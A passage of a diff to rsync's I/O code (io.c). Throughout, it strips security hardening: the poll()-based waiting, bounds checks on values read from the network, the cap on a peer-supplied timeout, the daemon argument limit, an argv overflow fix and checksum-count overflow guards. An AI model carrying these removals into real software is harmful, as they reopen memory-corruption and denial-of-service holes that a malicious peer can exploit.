so that a high-numbered fd\n-\t\t * (>= FD_SETSIZE) cannot overflow an fd_set bitmap. */\n-\t\tpfd.fd = fd;\n-\t\tpfd.events = POLLIN | POLLPRI;\n-\t\tpfd.revents = 0;\n+\t\tFD_ZERO(&r_fds);\n+\t\tFD_SET(fd, &r_fds);\n+\t\tFD_ZERO(&e_fds);\n+\t\tFD_SET(fd, &e_fds);\n+\t\ttv.tv_sec = select_timeout;\n+\t\ttv.tv_usec = 0;\n \n-\t\tcnt = poll(&pfd, 1, handshake_poll_timeout_ms());\n+\t\tcnt = select(fd+1, &r_fds, NULL, &e_fds, &tv);\n \t\tif (cnt <= 0) {\n-\t\t\tif (cnt < 0 && errno != EINTR && errno != EAGAIN) {\n-\t\t\t\trsyserr(FERROR, errno, \"safe_read poll failed\");\n+\t\t\tif (cnt < 0 && errno == EBADF) {\n+\t\t\t\trsyserr(FERROR, errno, \"safe_read select failed\");\n \t\t\t\texit_cleanup(RERR_FILEIO);\n \t\t\t}\n \t\t\tcheck_timeout(1, MSK_ALLOW_FLUSH);\n \t\t\tcontinue;\n \t\t}\n \n-\t\t/* An invalid fd is reported here rather than via poll()'s return. */\n-\t\tif (pfd.revents & POLLNVAL) {\n-\t\t\trsyserr(FERROR, EBADF, \"safe_read poll failed\");\n-\t\t\texit_cleanup(RERR_FILEIO);\n-\t\t}\n+\t\t/*if (FD_ISSET(fd, &e_fds))\n+\t\t\trprintf(FINFO, \"select exception on fd %d\\n\", fd); */\n \n-\t\tif (pfd.revents & POLL_RD_BITS) {\n+\t\tif (FD_ISSET(fd, &r_fds)) {\n \t\t\tssize_t n = read(fd, buf + got, len - got);\n \t\t\tif (DEBUG_GTE(IO, 2)) {\n \t\t\t\trprintf(FINFO, \"[%s] safe_read(%d)=%\" SIZE_T_FMT_MOD \"d\\n\",\n@@ -390,9 +315,6 @@ static void safe_write(int fd, const char *buf, size_t len)\n \n \tassert(fd != iobuf.out_fd);\n \n-\tif (got_sigusr2)\t/* receiver told to wrap up before this (batch) write */\n-\t\treceive_sigusr2();\n-\n \tn = write(fd, buf, len);\n \tif ((size_t)n == len)\n \t\treturn;\n@@ -410,21 +332,19 @@ static void safe_write(int fd, const char *buf, size_t len)\n \t}\n \n \twhile (len) {\n-\t\tstruct pollfd pfd;\n+\t\tstruct timeval tv;\n+\t\tfd_set w_fds;\n \t\tint cnt;\n \n-\t\tif (got_sigusr2)\t/* receiver told to wrap up (e.g. a --write-batch fd) */\n-\t\t\treceive_sigusr2();\n+\t\tFD_ZERO(&w_fds);\n+\t\tFD_SET(fd, &w_fds);\n+\t\ttv.tv_sec = select_timeout;\n+\t\ttv.tv_usec = 0;\n \n-\t\t/* poll() avoids the FD_SETSIZE limit that select() imposes. */\n-\t\tpfd.fd = fd;\n-\t\tpfd.events = POLLOUT;\n-\t\tpfd.revents = 0;\n-\n-\t\tcnt = poll(&pfd, 1, poll_timeout_ms());\n+\t\tcnt = select(fd + 1, NULL, &w_fds, NULL, &tv);\n \t\tif (cnt <= 0) {\n-\t\t\tif (cnt < 0 && errno != EINTR && errno != EAGAIN) {\n-\t\t\t\trsyserr(FERROR, errno, \"safe_write poll failed on %s\", what_fd_is(fd));\n+\t\t\tif (cnt < 0 && errno == EBADF) {\n+\t\t\t\trsyserr(FERROR, errno, \"safe_write select failed on %s\", what_fd_is(fd));\n \t\t\t\texit_cleanup(RERR_FILEIO);\n \t\t\t}\n \t\t\tif (io_timeout)\n@@ -432,12 +352,7 @@ static void safe_write(int fd, const char *buf, size_t len)\n \t\t\tcontinue;\n \t\t}\n \n-\t\tif (pfd.revents & POLLNVAL) {\n-\t\t\trsyserr(FERROR, EBADF, \"safe_write poll failed on %s\", what_fd_is(fd));\n-\t\t\texit_cleanup(RERR_FILEIO);\n-\t\t}\n-\n-\t\tif (pfd.revents & POLL_WR_BITS) {\n+\t\tif (FD_ISSET(fd, &w_fds)) {\n \t\t\tn = write(fd, buf, len);\n \t\t\tif (n < 0) {\n \t\t\t\tif (errno == EINTR)\n@@ -646,8 +561,9 @@ static void handle_kill_signal(BOOL flush_ok)\n  * unused raw data in the buf would prevent the reading of socket data. */\n static char *perform_io(size_t needed, int flags)\n {\n-\tstruct pollfd pfds[3];\n-\tint cnt, max_fd, npfds, poll_timeout, in_pollpos, out_pollpos, ff_pollpos;\n+\tfd_set r_fds, e_fds, w_fds;\n+\tstruct timeval tv;\n+\tint cnt, max_fd;\n \tsize_t empty_buf_len = 0;\n \txbuf *out;\n \tchar *data;\n@@ -740,15 +656,13 @@ static char *perform_io(size_t needed, int flags)\n \t\t}\n \n \t\tmax_fd = -1;\n-\t\tnpfds = 0;\n-\t\tin_pollpos = out_pollpos = ff_pollpos = -1;\n \n+\t\tFD_ZERO(&r_fds);\n+\t\tFD_ZERO(&e_fds);\n \t\tif (iobuf.in_fd >= 0 && iobuf.in.size - iobuf.in.len) {\n \t\t\tif (!read_batch || batch_fd >= 0) {\n-\t\t\t\tpfds[npfds].fd = iobuf.in_fd;\n-\t\t\t\tpfds[npfds].events = POLLIN | POLLPRI;\n-\t\t\t\tpfds[npfds].revents = 0;\n-\t\t\t\tin_pollpos = npfds++;\n+\t\t\t\tFD_SET(iobuf.in_fd, &r_fds);\n+\t\t\t\tFD_SET(iobuf.in_fd, &e_fds);\n \t\t\t}\n \t\t\tif (iobuf.in_fd > max_fd)\n \t\t\t\tmax_fd = iobuf.in_fd;\n@@ -756,14 +670,12 @@ static char *perform_io(size_t needed, int flags)\n \n \t\t/* Only do more filesfrom processing if there is enough room in the out buffer. */\n \t\tif (ff_forward_fd >= 0 && iobuf.out.size - iobuf.out.len > FILESFROM_BUFLEN*2) {\n-\t\t\tpfds[npfds].fd = ff_forward_fd;\n-\t\t\tpfds[npfds].events = POLLIN;\n-\t\t\tpfds[npfds].revents = 0;\n-\t\t\tff_pollpos = npfds++;\n+\t\t\tFD_SET(ff_forward_fd, &r_fds);\n \t\t\tif (ff_forward_fd > max_fd)\n \t\t\t\tmax_fd = ff_forward_fd;\n \t\t}\n \n+\t\tFD_ZERO(&w_fds);\n \t\tif (iobuf.out_fd >= 0) {\n \t\t\tif (iobuf.raw_flushing_ends_before\n \t\t\t || (!iobuf.msg.len && iobuf.out.len > iobuf.out_empty_len && !(flags & PIO_NEED_MSGROOM))) {\n@@ -803,18 +715,7 @@ static char *perform_io(size_t needed, int flags)\n \t\t\t} else\n \t\t\t\tout = NULL;\n \t\t\tif (out) {\n-\t\t\t\t/* A direct daemon connection uses one fd for both\n-\t\t\t\t * directions; give it a single row with both events\n-\t\t\t\t * rather than two rows carrying different masks. */\n-\t\t\t\tif (in_pollpos >= 0 && iobuf.out_fd == iobuf.in_fd) {\n-\t\t\t\t\tpfds[in_pollpos].events |= POLLOUT;\n-\t\t\t\t\tout_pollpos = in_pollpos;\n-\t\t\t\t} else {\n-\t\t\t\t\tpfds[npfds].fd = iobuf.out_fd;\n-\t\t\t\t\tpfds[npfds].events = POLLOUT;\n-\t\t\t\t\tpfds[npfds].revents = 0;\n-\t\t\t\t\tout_pollpos = npfds++;\n-\t\t\t\t}\n+\t\t\t\tFD_SET(iobuf.out_fd, &w_fds);\n \t\t\t\tif (iobuf.out_fd > max_fd)\n \t\t\t\t\tmax_fd = iobuf.out_fd;\n \t\t\t}\n@@ -848,20 +749,19 @@ static char *perform_io(size_t needed, int flags)\n \n \t\tif (got_kill_signal > 0)\n \t\t\thandle_kill_signal(True);\n-\t\tif (got_sigusr2)\n-\t\t\treceive_sigusr2();\n \n \t\tif (extra_flist_sending_enabled) {\n \t\t\tif (file_total - file_old_total < MAX_FILECNT_LOOKAHEAD && IN_MULTIPLEXED_AND_READY)\n-\t\t\t\tpoll_timeout = 0;\n+\t\t\t\ttv.tv_sec = 0;\n \t\t\telse {\n \t\t\t\textra_flist_sending_enabled = False;\n-\t\t\t\tpoll_timeout = poll_timeout_ms();\n+\t\t\t\ttv.tv_sec = select_timeout;\n \t\t\t}\n \t\t} else\n-\t\t\tpoll_timeout = poll_timeout_ms();\n+\t\t\ttv.tv_sec = select_timeout;\n+\t\ttv.tv_usec = 0;\n \n-\t\tcnt = poll(pfds, npfds, poll_timeout);\n+\t\tcnt = select(max_fd + 1, &r_fds, &w_fds, &e_fds, &tv);\n \n \t\tif (cnt <= 0) {\n \t\t\tif (cnt < 0 && errno == EBADF) {\n@@ -874,29 +774,11 @@ static char *perform_io(size_t needed, int flags)\n \t\t\t\textra_flist_sending_enabled = !flist_eof;\n \t\t\t} else\n \t\t\t\tcheck_timeout((flags & PIO_NEED_INPUT) != 0, 0);\n-\t\t\t/* Just in case... */\n-\t\t\tif (in_pollpos >= 0)\n-\t\t\t\tpfds[in_pollpos].revents = 0;\n-\t\t\tif (ff_pollpos >= 0)\n-\t\t\t\tpfds[ff_pollpos].revents = 0;\n-\t\t\tif (out_pollpos >= 0)\n-\t\t\t\tpfds[out_pollpos].revents = 0;\n+\t\t\tFD_ZERO(&r_fds); /* Just in case... */\n+\t\t\tFD_ZERO(&w_fds);\n \t\t}\n \n-\t\tif (cnt > 0) {\n-\t\t\t/* poll() reports a bad fd here, not via its return value. */\n-\t\t\tint p;\n-\t\t\tfor (p = 0; p < npfds; p++) {\n-\t\t\t\tif (pfds[p].revents & POLLNVAL) {\n-\t\t\t\t\tmsgs2stderr = 1;\n-\t\t\t\t\trsyserr(FERROR, EBADF, \"perform_io: poll reported an invalid fd\");\n-\t\t\t\t\texit_cleanup(RERR_SOCKETIO);\n-\t\t\t\t}\n-\t\t\t}\n-\t\t}\n-\n-\t\tif (iobuf.in_fd >= 0 && in_pollpos >= 0\n-\t\t && pfds[in_pollpos].revents & POLL_RD_BITS) {\n+\t\tif (iobuf.in_fd >= 0 && FD_ISSET(iobuf.in_fd, &r_fds)) {\n \t\t\tsize_t len, pos = iobuf.in.pos + iobuf.in.len;\n \t\t\tssize_t n;\n \t\t\tif (pos >= iobuf.in.size) {\n@@ -945,7 +827,7 @@ static char *perform_io(size_t needed, int flags)\n \t\t\texit_cleanup(RERR_TIMEOUT);\n \t\t}\n \n-\t\tif (out && out_pollpos >= 0 && pfds[out_pollpos].revents & POLL_WR_BITS) {\n+\t\tif (out && FD_ISSET(iobuf.out_fd, &w_fds)) {\n \t\t\tsize_t len = iobuf.raw_flushing_ends_before ? iobuf.raw_flushing_ends_before - out->pos : out->len;\n \t\t\tssize_t n;\n \n@@ -996,8 +878,6 @@ static char *perform_io(size_t needed, int flags)\n \n \t\tif (got_kill_signal > 0)\n \t\t\thandle_kill_signal(True);\n-\t\tif (got_sigusr2)\n-\t\t\treceive_sigusr2();\n \n \t\t/* We need to help prevent deadlock by doing what reading\n \t\t * we can whenever we are here trying to write. */\n@@ -1008,8 +888,7 @@ static char *perform_io(size_t needed, int flags)\n \t\t\t\twait_for_receiver(); /* generator only */\n \t\t}\n \n-\t\tif (ff_forward_fd >= 0 && ff_pollpos >= 0\n-\t\t && pfds[ff_pollpos].revents & POLL_RD_BITS) {\n+\t\tif (ff_forward_fd >= 0 && FD_ISSET(ff_forward_fd, &r_fds)) {\n \t\t\t/* This can potentially flush all output and enable\n \t\t\t * multiplexed output, so keep this last in the loop\n \t\t\t * and be sure to not cache anything that would break\n@@ -1021,8 +900,6 @@ static char *perform_io(size_t needed, int flags)\n \n \tif (got_kill_signal > 0)\n \t\thandle_kill_signal(True);\n-\tif (got_sigusr2)\n-\t\treceive_sigusr2();\n \n \tdata = iobuf.in.buf + iobuf.in.pos;\n \n@@ -1087,17 +964,12 @@ void noop_io_until_death(void)\n /* Buffer a message for the multiplexed output stream.  Is not used for (normal) MSG_DATA. */\n int send_msg(enum msgcode code, const char *buf, size_t len, int convert)\n {\n-\tstatic int growing_msg_buffer;\n \tchar *hdr;\n \tsize_t needed, pos;\n \tBOOL want_debug = DEBUG_GTE(IO, 1) && convert >= 0 && (msgs2stderr == 1 || code != MSG_INFO);\n \n \tif (!OUT_MULTIPLEXED)\n \t\treturn 0;\n-\t/* A fatal realloc_xbuf() failure is reported via rprintf(), which would\n-\t * otherwise call send_msg() again and try to grow the same full buffer. */\n-\tif (growing_msg_buffer)\n-\t\treturn 0;\n \n \tif (want_debug) {\n \t\trprintf(FINFO, \"[%s] send_msg(%d, %\" SIZE_T_FMT_MOD \"d)\\n\",\n@@ -1123,9 +995,7 @@ int send_msg(enum msgcode code, const char *buf, size_t len, int convert)\n \t\telse { /* We sometimes allow the iobuf.msg size to increase to avoid a deadlock. */\n \t\t\tsize_t old_size = iobuf.msg.size;\n \t\t\trestore_iobuf_size(&iobuf.msg);\n-\t\t\tgrowing_msg_buffer = 1;\n \t\t\trealloc_xbuf(&iobuf.msg, iobuf.msg.size * 2);\n-\t\t\tgrowing_msg_buffer = 0;\n \t\t\tif (iobuf.msg.pos + iobuf.msg.len > old_size)\n \t\t\t\tmemcpy(iobuf.msg.buf + old_size, iobuf.msg.buf, iobuf.msg.pos + iobuf.msg.len - old_size);\n \t\t}\n@@ -1200,30 +1070,17 @@ void send_msg_int(enum msgcode code, int num)\n \n void send_msg_success(const char *fname, int num)\n {\n-\t/* Batch-only mode has not duplicated anything on the receiving side yet.\n-\t * The receiver still reports success to the generator for file-list and\n-\t * hard-link bookkeeping, but the generator must not turn that status into\n-\t * sender-side removal. */\n-\tif (am_generator && write_batch < 0 && remove_source_files)\n-\t\treturn;\n-\n \tif (local_server) {\n \t\tSTRUCT_STAT st;\n \n \t\tif (DEBUG_GTE(IO, 1))\n \t\t\trprintf(FINFO, \"[%s] send_msg_success(%d)\\n\", who_am_i(), num);\n \n-\t\t/* The dev/ino is consumed only by the sender's --remove-source-files\n-\t\t * same-file safety check (successful_send), so skip the per-file\n-\t\t * stat entirely otherwise -- it's sent but never read. */\n-\t\tif (remove_source_files && stat(fname, &st) == 0) {\n-\t\t\tSIVAL64(num_dev_ino_buf, 4, st.st_dev);\n-\t\t\tSIVAL64(num_dev_ino_buf, 4+8, st.st_ino);\n-\t\t} else {\n-\t\t\tSIVAL64(num_dev_ino_buf, 4, 0);\n-\t\t\tSIVAL64(num_dev_ino_buf, 4+8, 0);\n-\t\t}\n+\t\tif (stat(fname, &st) < 0)\n+\t\t\tmemset(&st, 0, sizeof (STRUCT_STAT));\n \t\tSIVAL(num_dev_ino_buf, 0, num);\n+\t\tSIVAL64(num_dev_ino_buf, 4, st.st_dev);\n+\t\tSIVAL64(num_dev_ino_buf, 4+8, st.st_ino);\n \t\tsend_msg(MSG_SUCCESS, num_dev_ino_buf, sizeof num_dev_ino_buf, -1);\n \t} else\n \t\tsend_msg_int(MSG_SUCCESS, num);\n@@ -1233,9 +1090,6 @@ static void got_flist_entry_status(enum festatus status, int ndx)\n {\n \tstruct file_list *flist = flist_for_ndx(ndx, \"got_flist_entry_status\");\n \n-\tif (ndx < flist->ndx_start)\n-\t\texit_cleanup(RERR_PROTOCOL);\n-\n \tif (remove_source_files) {\n \t\tactive_filecnt--;\n \t\tactive_bytecnt -= F_LENGTH(flist->files[ndx - flist->ndx_start]);\n@@ -1246,7 +1100,7 @@ static void got_flist_entry_status(enum festatus status, int ndx)\n \n \tswitch (status) {\n \tcase FES_SUCCESS:\n-\t\tif (remove_source_files && write_batch >= 0) {\n+\t\tif (remove_source_files) {\n \t\t\tif (local_server)\n \t\t\t\tsend_msg(MSG_SUCCESS, num_dev_ino_buf, sizeof num_dev_ino_buf, -1);\n \t\t\telse\n@@ -1290,26 +1144,8 @@ void io_set_sock_fds(int f_in, int f_out)\n \n void set_io_timeout(int secs)\n {\n-\t/* A negative timeout is meaningless; treat it as \"no timeout\" rather than\n-\t * letting it drive allowed_lull / select_timeout negative (a tight loop).\n-\t * (--timeout is parsed by options.c as a plain int, so it can be negative.) */\n-\tif (secs < 0)\n-\t\tsecs = 0;\n \tio_timeout = secs;\n-\t/* Compute ceil(io_timeout/2) in a wider type: io_timeout can be INT_MAX\n-\t * (a peer's MSG_IO_TIMEOUT -- now capped in read_a_msg() -- or an operator\n-\t * --timeout, which options.c parses unbounded), and a plain \"io_timeout + 1\"\n-\t * would overflow to a negative allowed_lull / select_timeout.  poll() now\n-\t * takes a millisecond count where negative means \"wait forever\", so this\n-\t * would hang the process rather than spin it -- and it still fires a\n-\t * keepalive flood.  poll_timeout_ms() clamps as well; keep both. */\n-\tallowed_lull = (int)(((int64)io_timeout + 1) / 2);\n-\t/* The generator and sender derive an int loop-check limit as\n-\t * allowed_lull * 5; keep allowed_lull small enough that that product can't\n-\t * overflow either.  The cap is invisible to real use -- allowed_lull is the\n-\t * keep-alive half-interval and INT_MAX/5 seconds is over 13 years. */\n-\tif (allowed_lull > INT_MAX / 5)\n-\t\tallowed_lull = INT_MAX / 5;\n+\tallowed_lull = (io_timeout + 1) / 2;\n \n \tif (!io_timeout || allowed_lull > SELECT_TIMEOUT)\n \t\tselect_timeout = SELECT_TIMEOUT;\n@@ -1320,26 +1156,10 @@ void set_io_timeout(int secs)\n \t\tallowed_lull = 0;\n }\n \n-void set_daemon_handshake_timeout(int secs)\n-{\n-\tif (secs > 0)\n-\t\tdaemon_handshake_deadline = time(NULL) + secs;\n-\telse\n-\t\tdaemon_handshake_deadline = 0;\n-}\n-\n-void set_client_connect_timeout(int secs)\n-{\n-\tif (secs > 0)\n-\t\tclient_connect_deadline = time(NULL) + secs;\n-\telse\n-\t\tclient_connect_deadline = 0;\n-}\n-\n static void check_for_d_option_error(const char *msg)\n {\n-\tstatic const char rsync263_opts[] = \"BCDHIKLPRSTWabceghlnopqrtuvxz\";\n-\tconst char *colon;\n+\tstatic char rsync263_opts[] = \"BCDHIKLPRSTWabceghlnopqrtuvxz\";\n+\tchar *colon;\n \tint saw_d = 0;\n \n \tif (*msg != 'r'\n@@ -1469,23 +1289,8 @@ int read_line(int fd, char *buf, size_t bufsiz, int flags)\n \treturn s - buf;\n }\n \n-/* Reverse safe_arg()'s backslash escaping of a daemon option arg, the way a\n- * remote shell un-escapes args for the ssh transport.  In place; \\X -> X. */\n-static void unbackslash_arg(char *s)\n-{\n-\tchar *f = s, *t = s;\n-\twhile (*f) {\n-\t\tif (*f == '\\\\' && f[1])\n-\t\t\tf++;\n-\t\t*t++ = *f++;\n-\t}\n-\t*t = '\\0';\n-}\n-\n-#define MAX_DAEMON_ARGS (MAX_ARGS * 16)\n-\n void read_args(int f_in, char *mod_name, char *buf, size_t bufsiz, int rl_nulls,\n-\t       int unescape, char ***argv_p, int *argc_p, char **request_p)\n+\t       char ***argv_p, int *argc_p, char **request_p)\n {\n \tint maxargs = MAX_ARGS;\n \tint dot_pos = 0, argc = 0, request_len = 0;\n@@ -1507,11 +1312,6 @@ void read_args(int f_in, char *mod_name, char *buf, size_t bufsiz, int rl_nulls,\n \t\tif (read_line(f_in, buf, bufsiz, rl_flags) == 0)\n \t\t\tbreak;\n \n-\t\tif (mod_name && argc >= MAX_DAEMON_ARGS - 1) {\n-\t\t\trprintf(FERROR, \"too many daemon arguments\\n\");\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t}\n-\n \t\tif (argc == maxargs-1) {\n \t\t\tmaxargs += MAX_ARGS;\n \t\t\targv = realloc_array(argv, char *, maxargs);\n@@ -1532,23 +1332,11 @@ void read_args(int f_in, char *mod_name, char *buf, size_t bufsiz, int rl_nulls,\n \t\t\t\tglob_expand(buf, &argv, &argc, &maxargs);\n \t\t} else {\n \t\t\tp = strdup(buf);\n-\t\t\t/* An option arg the client escaped with safe_arg() (no\n-\t\t\t * remote shell un-escapes it for a daemon).  File args\n-\t\t\t * after the dot are handled by glob_expand() below. */\n-\t\t\tif (unescape)\n-\t\t\t\tunbackslash_arg(p);\n \t\t\targv[argc++] = p;\n \t\t\tif (*p == '.' && p[1] == '\\0')\n \t\t\t\tdot_pos = argc;\n \t\t}\n \t}\n-\t/* glob_expand()/glob_match() reserve glob.argc+1 slots -- room for the\n-\t * entry being added but not for this trailing NULL.  A post-dot line\n-\t * whose \" mod/\" splits land argc on exactly maxargs (or any later\n-\t * ENSURE_MEMSPACE doubling boundary) would otherwise make the next\n-\t * store an 8-byte NULL write one slot past the argv allocation. */\n-\tif (argc >= maxargs)\n-\t\targv = realloc_array(argv, char *, maxargs = argc + 1);\n \targv[argc] = NULL;\n \n \tglob_expand(NULL, NULL, NULL, NULL);\n@@ -1565,9 +1353,8 @@ BOOL io_start_buffering_out(int f_out)\n \tif (iobuf.out.buf) {\n \t\tif (iobuf.out_fd == -1)\n \t\t\tiobuf.out_fd = f_out;\n-\t\telse if (iobuf.out_fd >= 0)\n+\t\telse\n \t\t\tassert(f_out == iobuf.out_fd);\n-\t\t/* else out_fd == -2: peer already gone; leave it dead. */\n \t\treturn False;\n \t}\n \n@@ -1585,9 +1372,8 @@ BOOL io_start_buffering_in(int f_in)\n \tif (iobuf.in.buf) {\n \t\tif (iobuf.in_fd == -1)\n \t\t\tiobuf.in_fd = f_in;\n-\t\telse if (iobuf.in_fd >= 0)\n+\t\telse\n \t\t\tassert(f_in == iobuf.in_fd);\n-\t\t/* else in_fd == -2: peer already EOF'd; leave it dead. */\n \t\treturn False;\n \t}\n \n@@ -1725,18 +1511,6 @@ static void read_a_msg(void)\n \t\traw_read_buf((char*)&stats.total_read, sizeof stats.total_read);\n \t\tiobuf.in_multiplexed = 1;\n \t\tbreak;\n-\tcase MSG_BLOCK_STATS: {\n-\t\tchar b[8];\n-\n-\t\tif (msg_bytes != 8 || protocol_version < 33 || (!am_generator && !am_sender))\n-\t\t\tgoto invalid_msg;\n-\t\traw_read_buf(b, 8);\n-\t\tstats.touched_blocks_4k = IVAL64(b, 0);\n-\t\tiobuf.in_multiplexed = 1;\n-\t\tif (am_server && am_generator)\n-\t\t\tsend_msg(MSG_BLOCK_STATS, b, sizeof b, 0);\n-\t\tbreak;\n-\t}\n \tcase MSG_REDO:\n \t\tif (msg_bytes != 4 || !am_generator)\n \t\t\tgoto invalid_msg;\n@@ -1748,26 +1522,16 @@ static void read_a_msg(void)\n \t\tif (msg_bytes != 4)\n \t\t\tgoto invalid_msg;\n \t\tval = raw_read_int();\n-\t\tval &= IOERR_VALID_MASK;\n+\t\tiobuf.in_multiplexed = 1;\n \t\tio_error |= val;\n \t\tif (am_receiver)\n \t\t\tsend_msg_int(MSG_IO_ERROR, val);\n-\t\tiobuf.in_multiplexed = 1;\n \t\tbreak;\n \tcase MSG_IO_TIMEOUT:\n \t\tif (msg_bytes != 4 || am_server || am_generator)\n \t\t\tgoto invalid_msg;\n \t\tval = raw_read_int();\n \t\tiobuf.in_multiplexed = 1;\n-\t\t/* The peer may only ask us to use a SHORTER timeout (a stricter cap); a\n-\t\t * non-positive value would disable our --timeout entirely, letting a\n-\t\t * malicious server hang the client indefinitely, so ignore it.  A very\n-\t\t * large value (near INT_MAX) would overflow the (io_timeout + 1) / 2\n-\t\t * computation in set_io_timeout(), wrapping allowed_lull and\n-\t\t * select_timeout negative -- which poll() reads as \"wait forever\",\n-\t\t * hanging the client.  Cap at 24 hours. */\n-\t\tif (val <= 0 || val > 86400)\n-\t\t\tbreak;\n \t\tif (!io_timeout || io_timeout > val) {\n \t\t\tif (INFO_GTE(MISC, 2))\n \t\t\t\trprintf(FINFO, \"Setting --timeout=%d to match server\\n\", val);\n@@ -1778,17 +1542,17 @@ static void read_a_msg(void)\n \t\t/* Support protocol-30 keep-alive method. */\n \t\tif (msg_bytes != 0)\n \t\t\tgoto invalid_msg;\n+\t\tiobuf.in_multiplexed = 1;\n \t\tif (am_sender)\n \t\t\tmaybe_send_keepalive(time(NULL), MSK_ALLOW_FLUSH);\n-\t\tiobuf.in_multiplexed = 1;\n \t\tbreak;\n \tcase MSG_DELETED:\n \t\tif (msg_bytes >= sizeof data)\n \t\t\tgoto overflow;\n \t\tif (am_generator) {\n \t\t\traw_read_buf(data, msg_bytes);\n-\t\t\tsend_msg(MSG_DELETED, data, msg_bytes, 1);\n \t\t\tiobuf.in_multiplexed = 1;\n+\t\t\tsend_msg(MSG_DELETED, data, msg_bytes, 1);\n \t\t\tbreak;\n \t\t}\n #ifdef ICONV_OPTION\n@@ -1826,6 +1590,7 @@ static void read_a_msg(void)\n \t\t} else\n #endif\n \t\t\traw_read_buf(data, msg_bytes);\n+\t\tiobuf.in_multiplexed = 1;\n \t\t/* A directory name was sent with the trailing null */\n \t\tif (msg_bytes > 0 && !data[msg_bytes-1])\n \t\t\tlog_delete(data, S_IFDIR);\n@@ -1833,7 +1598,6 @@ static void read_a_msg(void)\n \t\t\tdata[msg_bytes] = '\\0';\n \t\t\tlog_delete(data, S_IFREG);\n \t\t}\n-\t\tiobuf.in_multiplexed = 1;\n \t\tbreak;\n \tcase MSG_SUCCESS:\n \t\tif (msg_bytes != (local_server ? 4+8+8 : 4)) {\n@@ -1855,11 +1619,11 @@ static void read_a_msg(void)\n \t\tif (msg_bytes != 4)\n \t\t\tgoto invalid_msg;\n \t\tval = raw_read_int();\n+\t\tiobuf.in_multiplexed = 1;\n \t\tif (am_generator)\n \t\t\tgot_flist_entry_status(FES_NO_SEND, val);\n \t\telse\n \t\t\tsend_msg_int(MSG_NO_SEND, val);\n-\t\tiobuf.in_multiplexed = 1;\n \t\tbreak;\n \tcase MSG_ERROR_SOCKET:\n \tcase MSG_ERROR_UTF8:\n@@ -2101,45 +1865,6 @@ int64 read_varlong(int f, uchar min_bytes)\n \treturn u.x;\n }\n \n-/* Read an int32 and verify lo <= v <= hi. On out-of-range, abort with a\n- * protocol error naming \"what\". The bound is co-located with the read so it\n- * cannot be forgotten by a downstream user. */\n-int32 read_int_bounded(int f, int32 lo, int32 hi, const char *what)\n-{\n-\tint32 v = read_int(f);\n-\tif (v < lo || v > hi) {\n-\t\trprintf(FERROR, \"wire value %s out of range: %ld not in [%ld,%ld] [%s]\\n\",\n-\t\t\twhat, (long)v, (long)lo, (long)hi, who_am_i());\n-\t\texit_cleanup(RERR_PROTOCOL);\n-\t}\n-\treturn v;\n-}\n-\n-/* As read_int_bounded but for varint-encoded values. */\n-int32 read_varint_bounded(int f, int32 lo, int32 hi, const char *what)\n-{\n-\tint32 v = read_varint(f);\n-\tif (v < lo || v > hi) {\n-\t\trprintf(FERROR, \"wire value %s out of range: %ld not in [%ld,%ld] [%s]\\n\",\n-\t\t\twhat, (long)v, (long)lo, (long)hi, who_am_i());\n-\t\texit_cleanup(RERR_PROTOCOL);\n-\t}\n-\treturn v;\n-}\n-\n-/* Read a varint that will be used as a size_t. Rejects negative values\n- * (which would wrap to ~SIZE_MAX) and values exceeding the supplied max. */\n-size_t read_varint_size(int f, size_t max, const char *what)\n-{\n-\tint32 v = read_varint(f);\n-\tif (v < 0 || (size_t)v > max) {\n-\t\trprintf(FERROR, \"wire size %s out of range: %ld > %lu [%s]\\n\",\n-\t\t\twhat, (long)v, (unsigned long)max, who_am_i());\n-\t\texit_cleanup(RERR_PROTOCOL);\n-\t}\n-\treturn (size_t)v;\n-}\n-\n int64 read_longint(int f)\n {\n #if SIZEOF_INT64 >= 8\n@@ -2246,42 +1971,12 @@ void read_sum_head(int f, struct sum_struct *sum)\n \t\t\t(long)sum->count, who_am_i());\n \t\texit_cleanup(RERR_PROTOCOL);\n \t}\n-\t/* Guard against integer overflow in downstream allocations sized by\n-\t * count*element_size. my_alloc uses divide-not-multiply so it is\n-\t * already wraparound-safe, but checking here gives a clearer error\n-\t * and also covers the (size_t)count * xfer_sum_len arithmetic that\n-\t * is performed *before* reaching my_alloc. */\n-\tif (xfer_sum_len > 0 && (size_t)sum->count > SIZE_MAX / (size_t)xfer_sum_len) {\n-\t\trprintf(FERROR, \"Invalid checksum count %ld (too large) [%s]\\n\",\n-\t\t\t(long)sum->count, who_am_i());\n-\t\texit_cleanup(RERR_PROTOCOL);\n-\t}\n-\tif ((size_t)sum->count > SIZE_MAX / sizeof(struct sum_buf)) {\n-\t\trprintf(FERROR, \"Invalid checksum count %ld (sum_buf overflow) [%s]\\n\",\n-\t\t\t(long)sum->count, who_am_i());\n-\t\texit_cleanup(RERR_PROTOCOL);\n-\t}\n \tsum->blength = read_int(f);\n \tif (sum->blength < 0 || sum->blength > max_blength) {\n \t\trprintf(FERROR, \"Invalid block length %ld [%s]\\n\",\n \t\t\t(long)sum->blength, who_am_i());\n \t\texit_cleanup(RERR_PROTOCOL);\n \t}\n-\tif (sum->count && sum->blength == 0) {\n-\t\trprintf(FERROR, \"Invalid zero block length [%s]\\n\",\n-\t\t\twho_am_i());\n-\t\texit_cleanup(RERR_PROTOCOL);\n-\t}\n-#if SIZEOF_CAPITAL_OFF_T < 8\n-\t/* The append-mode callers compute (OFF_T)count * blength; on a 32-bit\n-\t * OFF_T that product can wrap even though both factors are individually\n-\t * in range, corrupting the lseek/loop bounds.  Reject it early. */\n-\tif (sum->blength > 0 && sum->count > MAX_INT32 / sum->blength) {\n-\t\trprintf(FERROR, \"checksum count*blength overflows OFF_T [%s]\\n\",\n-\t\t\twho_am_i());\n-\t\texit_cleanup(RERR_PROTOCOL);\n-\t}\n-#endif\n \tsum->s2length = protocol_version < 27 ? csum_length : (int)read_int(f);\n \tif (sum->s2length < 0 || sum->s2length > xfer_sum_len) {\n \t\trprintf(FERROR, \"Invalid checksum length %d [%s]\\n\",\n@@ -2393,7 +2088,7 @@ void write_int(int f, int32 x)\n \n void write_varint(int f, int32 x)\n {\n-\tchar b[5] = {0}; /* {0} only to satisfy the analyzer: it doesn't model SIVAL initialising b[1..4] */\n+\tchar b[5];\n \tuchar bit;\n \tint cnt;\n \n@@ -2415,7 +2110,7 @@ void write_varint(int f, int32 x)\n \n void write_varlong(int f, int64 x, uchar min_bytes)\n {\n-\tchar b[9] = {0}; /* {0} only to satisfy the analyzer: it doesn't model SIVAL64 initialising b[1..8] */\n+\tchar b[9];\n \tuchar bit;\n \tint 